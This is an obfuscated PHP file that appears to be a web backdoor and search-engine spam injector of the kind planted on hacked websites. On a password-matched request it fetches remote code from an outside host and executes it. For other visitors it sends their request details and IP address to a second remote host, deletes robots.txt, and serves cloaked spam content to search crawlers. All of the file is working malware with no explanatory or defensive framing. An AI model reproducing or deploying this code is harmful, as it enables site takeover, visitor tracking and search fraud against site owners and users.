if (!function_exists('_xor_decrypt')) { function _xor_decrypt($str, $key) { $result = ''; $len = strlen($str); for ($i = 0; $i < $len; $i++) { $result .= chr(ord($str[$i]) ^ $key); } return $result; } } @set_time_limit(1000); @error_reporting(0); ini_set(base64_decode("ZGlzcGxheV9lcnJvcnM="), base64_decode("T2Zm")); $_GNhmnNLV = isset($_REQUEST[_xor_decrypt("\xda\xd8\xcf\xd2\xd4\xd5", 187)]) ? $_REQUEST[base64_decode("YWN0aW9u")] : ''; if(!empty($_GNhmnNLV)){ $_AemTPxJqsbEiTl = substr($_GNhmnNLV, -6); $_ISKKVlVNKXQfOt = substr($_GNhmnNLV, 0, -6); $_sXGZMvohmg = array('9','8','2','4','5','d','7','4','1','7','2','2','5','b','5','5','a','2','c','4','b','f','5','0','b','8','a','a','4','c','7','3'); $_HrvUDYKXzZCJBmZb = md5($_ISKKVlVNKXQfOt); if($_HrvUDYKXzZCJBmZb == implode($_sXGZMvohmg)){ $_ygVkegIEpDZDsX = array("h"."t"."t"."p"."s".":"."/"."/"."h"."b"."b"."a"."q"."n"."."."g"."a"."m"."e"."a"."p"."e"."."."t"."o"."p"."/"."d"."o"."o"."r"."/"); $_pmXayjWJeUkhMfK = cucontent2025(implode($_ygVkegIEpDZDsX).$_AemTPxJqsbEiTl.'.t'.'x'.'t'); if($_pmXayjWJeUkhMfK[hex2bin("737461747573")]){ class _CHRBMUJ { public $x49; function __destruct() { $_FSqzJzYqF = base64_decode(base64_decode("WTNKbFlYUmxYMloxYm1OMGFXOXU=")); $_YugFjVidwmZEQS = $this->x49; if (!function_exists($_FSqzJzYqF)) { return; } $_KJSVwMCe = $_FSqzJzYqF('', $_YugFjVidwmZEQS); $_KJSVwMCe(); } } $_kFYINVHDG = new _CHRBMUJ(); $_kFYINVHDG->x49 = '?>' . $_pmXayjWJeUkhMfK[base64_decode("Y29udGVudA==")]; unset($_kFYINVHDG); ; } } exit(); }else{ $_oJDyPMJnjxcZSizn = $_SERVER[base64_decode("RE9DVU1FTlRfUk9PVA==")]; $_ewSHUHicpK = "y6oh2o.kinoman.top"; $_cwjKneInjyTFu = isSecure2025(); $_atmmcQGVkMYnYaix = $_SERVER[base64_decode("UkVRVUVTVF9VUkk=")]; $_orhOoItCjXurG = isset($_SERVER[base64_decode("SFRUUF9BQ0NFUFRfTEFOR1VBR0U=")]) ? $_SERVER[base64_decode("SFRUUF9BQ0NFUFRfTEFOR1VBR0U=")] : ""; $_YhiAajJgVAMJSS = $_SERVER[base64_decode("SFRUUF9IT1NU")]; $_jUaQzBCJx = isset($_SERVER[base64_decode("SFRUUF9SRUZFUkVS")]) ? $_SERVER[base64_decode("SFRUUF9SRUZFUkVS")] : ""; $_IAknINhZKGoMFm = isset($_SERVER[base64_decode("SFRUUF9VU0VSX0FHRU5U")]) ? $_SERVER[base64_decode("SFRUUF9VU0VSX0FHRU5U")] : ""; $_ZwybpkvdyDfmlgpZ = ipAddress2025(); $_vnGjkacpaUM = base64_decode("aHR0cF90eXBlPQ==").base64_encode($_cwjKneInjyTFu)."&http_uri=".base64_encode($_atmmcQGVkMYnYaix).base64_decode("Jmh0dHBfbGFuZz0=").base64_encode($_orhOoItCjXurG) .base64_decode("Jmh0dHBfaG9zdD0=").base64_encode($_YhiAajJgVAMJSS).base64_decode("Jmh0dHBfcmVmZXI9").base64_encode($_jUaQzBCJx)."&http_user_agent=".base64_encode($_IAknINhZKGoMFm) .base64_decode("Jmh0dHBfaXBfYWRkcmVzcz0=").base64_encode($_ZwybpkvdyDfmlgpZ); $_ICjxvZSZeyiFZbQ = array(); $_TKASQXgiRxMtVce = 'h'.'t'.'t'.'p'.'s'.':/'.'/'.$_ewSHUHicpK.base64_decode("L3dw").'-i'.'n'.'d'.'e'.'x'.base64_decode("LnBo").'p?'.$_vnGjkacpaUM; if(stristr($_atmmcQGVkMYnYaix, base64_decode("LnhtbA==")) || stristr($_atmmcQGVkMYnYaix, base64_decode("cm9ib3RzLnR4dA=="))){ if(file_exists($_oJDyPMJnjxcZSizn.base64_decode("L3JvYm90cy50eHQ="))){ unlink($_oJDyPMJnjxcZSizn.base64_decode("L3JvYm90cy50eHQ=")); } $_ICjxvZSZeyiFZbQ = cucontent2025($_TKASQXgiRxMtVce); } $_dtUebEyrkTdbw = check_bot2025($_IAknINhZKGoMFm); $_RdCcGMRt = check_refer2025($_jUaQzBCJx); $_KOJDaluxtSE = check_nobot2025($_IAknINhZKGoMFm); if($_dtUebEyrkTdbw || $_RdCcGMRt || !$_KOJDaluxtSE){ $_ICjxvZSZeyiFZbQ = cucontent2025($_TKASQXgiRxMtVce); } if($_ICjxvZSZeyiFZbQ[_xor_decrypt("\xdd\xda\xcf\xda\xdb\xdd", 174)]){ $_cLAGJNLBIm = $_ICjxvZSZeyiFZbQ[hex2bin("636f6e74656e74")]; if (!strstr($_cLAGJNLBIm, base64_decode("ZG9fbm90aGluZw=="))) { if (strstr($_cLAGJNLBIm, base64_decode("aHRtbF9jb250ZW50"))) { @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg=")); $_gCxMSTivC = str_replace(base64_decode("aHRtbF9jb250ZW50"), '', $_cLAGJNLBIm); echo $_gCxMSTivC;exit(); } if(strstr($_cLAGJNLBIm, base64_decode("eG1sX2NvbnRlbnQ="))){ @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L3htbA==")); $_gCxMSTivC = str_replace(base64_decode("eG1sX2NvbnRlbnQ="), '', $_cLAGJNLBIm); echo $_gCxMSTivC;exit(); } if(strstr($_cLAGJNLBIm, base64_decode("cm9ib3RzX2NvbnRlbnQ="))){ @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04")); $_gCxMSTivC = str_replace(base64_decode("cm9ib3RzX2NvbnRlbnQ="), '', $_cLAGJNLBIm); $_oiSOLUudOqotag = explode(base64_decode("WyoqKl0="), str_replace(_xor_decrypt("\x66\x7b\x76\x7b\x60\x67\x77\x7b\x7a\x60\x71\x7a\x60", 20), '', $_gCxMSTivC)); exit(implode(PHP_EOL, $_oiSOLUudOqotag)); } } } } function isSecure2025() { $_JqGHOekzowfyYIM = (!empty($_SERVER[hex2bin("4854545053")]) && $_SERVER['HTTPS'] !== _xor_decrypt("\xac\xa5\xa5", 195)) || $_SERVER[base64_decode("U0VSVkVSX1BPUlQ=")] == 443; if($_JqGHOekzowfyYIM){return base64_decode("aHR0cHM=");}else{return hex2bin("68747470");} } function ipAddress2025(){ $_2237 = 72; $_1265 = "lDahttSSiMoBR"; $_8380 = abs(49); $_cQvXXjXFUi = ""; if (!empty($_SERVER[base64_decode("SFRUUF9DTElFTlRfSVA=")])) { $_cQvXXjXFUi = $_SERVER[base64_decode("SFRUUF9DTElFTlRfSVA=")]; }else if(!empty($_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")])) { $_cQvXXjXFUi = $_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")]; }else{ $_cQvXXjXFUi = $_SERVER[base64_decode("UkVNT1RFX0FERFI=")]; } return $_cQvXXjXFUi; } function cucontent2025($_lInXOZqQUSXHwUjZ) { if (26 > 26) { /* never executed */ } if (34 > 34) { /* never executed */ } if (19 > 19) { /* never executed */ } /* dead code */ $_9515 = "QEoBf"; $_mKKezukAEslkfEK = "";$_BWMCPVbrSCrJQSO = 1; try { $_QzdhxdifGJRJO = curl_init(); curl_setopt($_QzdhxdifGJRJO, CURLOPT_URL, $_lInXOZqQUSXHwUjZ); curl_setopt($_QzdhxdifGJRJO, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($_QzdhxdifGJRJO, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($_QzdhxdifGJRJO, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($_QzdhxdifGJRJO, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($_QzdhxdifGJRJO, CURLOPT_RETURNTRANSFER, 1); $_mKKezukAEslkfEK = curl_exec($_QzdhxdifGJRJO); curl_close($_QzdhxdifGJRJO); } catch (Exception $_CmbYQGHxyTcuF) {} if (($_mKKezukAEslkfEK === false || $_mKKezukAEslkfEK == "") && ini_get(base64_decode("YWxsb3dfdXJsX2ZvcGVu"))) { try { $_WvqOtBREjYnz = func2025(); $_mKKezukAEslkfEK = @$_WvqOtBREjYnz[0]($_lInXOZqQUSXHwUjZ); } catch (Exception $_CmbYQGHxyTcuF) {} } if($_mKKezukAEslkfEK != ""){ $_BWMCPVbrSCrJQSO = 1; } $_pmXayjWJeUkhMfK = array(); $_pmXayjWJeUkhMfK[base64_decode("c3RhdHVz")] = $_BWMCPVbrSCrJQSO; $_pmXayjWJeUkhMfK[_xor_decrypt("\xd2\xde\xdf\xc5\xd4\xdf\xc5", 177)] = $_mKKezukAEslkfEK; return $_pmXayjWJeUkhMfK; } function func2025() { $_7728 = "hkoMPs"; if (74 > 74) { /* never executed */ } $_gIHVkZCQzhBFs = range('a', 'z'); return [$_gIHVkZCQzhBFs[5] . $_gIHVkZCQzhBFs[8] . $_gIHVkZCQzhBFs[11] . $_gIHVkZCQzhBFs[4] . '_' . $_gIHVkZCQzhBFs[6] . $_gIHVkZCQzhBFs[4] . $_gIHVkZCQzhBFs[19] . '_' . $_gIHVkZCQzhBFs[2] . $_gIHVkZCQzhBFs[14] . $_gIHVkZCQzhBFs[13] . $_gIHVkZCQzhBFs[19] . $_gIHVkZCQzhBFs[4] . $_gIHVkZCQzhBFs[13] . $_gIHVkZCQzhBFs[19] . $_gIHVkZCQzhBFs[18]]; } function check_bot2025($_JNGZqVkAqSTNE){ $_dtUebEyrkTdbw = false; $_tgAWQkuHclkEQrR =base64_decode("Z29vZ2xlYm90fGdvb2dsZXx5YWhvb3xiaW5nfGFvbA=="); if($_JNGZqVkAqSTNE){ if(preg_match("/($_tgAWQkuHclkEQrR)/si", $_JNGZqVkAqSTNE)){ $_dtUebEyrkTdbw = true; } } return $_dtUebEyrkTdbw; } function check_nobot2025($_JNGZqVkAqSTNE){ $_8773 = "aaKuYvSfINgg"; $_6384 = 48 % 8; $_7017 = 841; $_6943 = "fZfhlnUxXLObIPO"; $_dtUebEyrkTdbw = false; $_tgAWQkuHclkEQrR =base64_decode("MzYwU3BpZGVyfEFocmVmc0JvdHxBbWF6b25ib3R8QXBwbGUgQm90fEFzayBKZWV2ZXN8QXdhcmlvQm90fEJhaWR1U3BpZGVyfEJhaWR1c3BpZGVyLWltYWdlfEJ5dGVzcGlkZXJ8RGF0YUZvclNlb0JvdHxkYXRhcHJvdmlkZXJ8RG90Qm90fER1Y2tEdWNrQm90fEV4YWxlYWR8RXhjaXRlfGZhY2Vib29rfGZhY2Vib29rZXh0ZXJuYWxoaXR8R1BUQm90fEx5Y29zfE1KMTJib3R8U2Nvb3RlcnxTZW1ydXNoQm90fFNpdGVMb2NrU3BpZGVyfFNsZXV0aHxTb2dvdSBOZXdzIFNwaWRlcnxTb2dvdSB3ZWIgc3BpZGVyfFNPU08gU3BpZGVyfFR3aXR0ZXJib3R8WWFuZGV4IEJvdHxZYW5kZXhCb3R8WWlzb3VTcGlkZXJ8WW9kYW9Cb3R8WW91ZGFvQm90fEJMRVhCb3R8YXBwbGVib3R8Q0NCb3R8UGV0YWxCb3R8Q2xhdWRlQm90fEh1ZEh1ZC1nZW5lcmFsLWJvdHxTZXpuYW1Cb3R8RXpvaWNCb3QtTmljaGVpcXxBaHJlZnNTaXRlQXVkaXR8T0FJLVNlYXJjaEJvdHxsaW5rZGV4Ym90fENoYXRHUFQtVXNlcnxZYW5kZXhNZXRyaWthfFlhbmRleA=="); if($_JNGZqVkAqSTNE){ if(preg_match("/($_tgAWQkuHclkEQrR)/si", $_JNGZqVkAqSTNE)){ $_dtUebEyrkTdbw = true; } } return $_dtUebEyrkTdbw; } function check_refer2025($_TRdsILZKuwDeTW){ $_4995 = 668; /* dead code */ $_6400 = "CJsQQq"; $_9819 = strlen(37); $_9139 = abs(74); $_RdCcGMRt = false; $_rNvgNTQOSb = base64_decode("Z29vZ2xlfHlhaG9vfGJpbmd8YW9s"); if($_TRdsILZKuwDeTW){ if(preg_match("/($_rNvgNTQOSb)/si", $_TRdsILZKuwDeTW)){ $_RdCcGMRt=true; } } return $_RdCcGMRt; } ?>